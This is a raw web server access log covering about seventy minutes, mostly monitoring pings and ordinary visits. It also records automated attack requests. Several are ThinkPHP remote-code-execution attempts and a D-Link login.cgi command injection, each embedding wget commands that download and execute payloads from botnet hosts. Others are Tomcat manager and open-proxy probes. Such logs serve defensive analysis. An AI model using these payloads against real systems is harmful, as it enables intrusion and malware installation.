212.91.246.72 - - [12/Feb/2020:16:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [12/Feb/2020:16:20:01 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
42.117.56.116 - - [12/Feb/2020:16:20:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
104.236.64.249 - - [12/Feb/2020:16:20:23 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal-berlin.de" "Mozilla/5.0 (X11; Datanyze; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36"
104.236.64.249 - - [12/Feb/2020:16:20:34 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:16:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.223.245.95 - - [12/Feb/2020:16:22:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:16:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.53.149.157 - - [12/Feb/2020:16:25:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
37.54.48.116 - - [12/Feb/2020:16:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:16:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.66.101.120 - - [12/Feb/2020:16:30:03 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)"
212.3.151.104 - - [12/Feb/2020:16:30:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.54.6.194 - - [12/Feb/2020:16:30:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:16:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.216.164.48 - - [12/Feb/2020:16:36:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
177.86.125.20 - - [12/Feb/2020:16:37:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
180.96.14.25 - - [12/Feb/2020:16:37:32 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
180.96.14.25 - - [12/Feb/2020:16:37:34 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
3.134.118.93 - - [12/Feb/2020:16:37:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
180.96.14.25 - - [12/Feb/2020:16:37:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [12/Feb/2020:16:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.53.149.157 - - [12/Feb/2020:16:38:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:16:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.144.47 - - [12/Feb/2020:16:40:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.89.245.118 - - [12/Feb/2020:16:41:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [12/Feb/2020:16:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.102.61.18 - - [12/Feb/2020:16:43:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:16:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:48:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.191.66.222 - - [12/Feb/2020:16:48:47 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [12/Feb/2020:16:48:47 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [12/Feb/2020:16:48:47 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [12/Feb/2020:16:48:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [12/Feb/2020:16:48:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [12/Feb/2020:16:48:50 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
212.91.246.72 - - [12/Feb/2020:16:49:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [12/Feb/2020:16:50:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [12/Feb/2020:16:50:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:51:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.234.122.240 - - [12/Feb/2020:16:51:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.115.97 - - [12/Feb/2020:16:52:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:16:52:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.112.49.139 - - [12/Feb/2020:16:53:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.229.41.133 - - [12/Feb/2020:16:53:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.229.41.133 - - [12/Feb/2020:16:53:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
183.80.89.71 - - [12/Feb/2020:16:53:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:16:53:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [12/Feb/2020:16:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
212.91.246.72 - - [12/Feb/2020:16:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.26 - - [12/Feb/2020:16:55:52 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.24 - - [12/Feb/2020:16:55:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:16:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.187.76.226 - - [12/Feb/2020:16:58:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:16:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:16:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.90.49.237 - - [12/Feb/2020:17:01:04 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01678543 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11"
175.152.109.41 - - [12/Feb/2020:17:01:10 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
27.224.137.232 - - [12/Feb/2020:17:01:12 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
123.191.140.80 - - [12/Feb/2020:17:01:12 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.13.12.85 - - [12/Feb/2020:17:01:14 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.225.43.159 - - [12/Feb/2020:17:01:15 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
220.200.153.193 - - [12/Feb/2020:17:01:15 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
117.14.152.112 - - [12/Feb/2020:17:01:16 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.252.0.250 - - [12/Feb/2020:17:01:16 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
58.249.103.56 - - [12/Feb/2020:17:01:16 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.83.26.149 - - [12/Feb/2020:17:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.245.73.20 - - [12/Feb/2020:17:02:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.177.1 - - [12/Feb/2020:17:03:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.170.210 - - [12/Feb/2020:17:04:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:17:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.254.59.113 - - [12/Feb/2020:17:07:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.81.229.191 - - [12/Feb/2020:17:10:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.191.52.254 - - [12/Feb/2020:17:13:07 +0100] "HEAD http://112.124.42.80:63435/ HTTP/1.1" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:17:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.122.48.188 - - [12/Feb/2020:17:14:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:17:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.190.31 - - [12/Feb/2020:17:14:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:17:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.233.102 - - [12/Feb/2020:17:17:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.72.130.253 - - [12/Feb/2020:17:17:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:17:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:22:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.71.167.166 - - [12/Feb/2020:17:24:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
223.71.167.166 - - [12/Feb/2020:17:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [12/Feb/2020:17:24:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:25:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.180.167.150 - - [12/Feb/2020:17:26:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.203.193.47 - - [12/Feb/2020:17:26:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:17:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:27:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.71.167.166 - - [12/Feb/2020:17:28:32 +0100] "\x16\x03\x01\x02" 501 319 "-" "-"
212.91.246.72 - - [12/Feb/2020:17:28:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:29:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:17:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
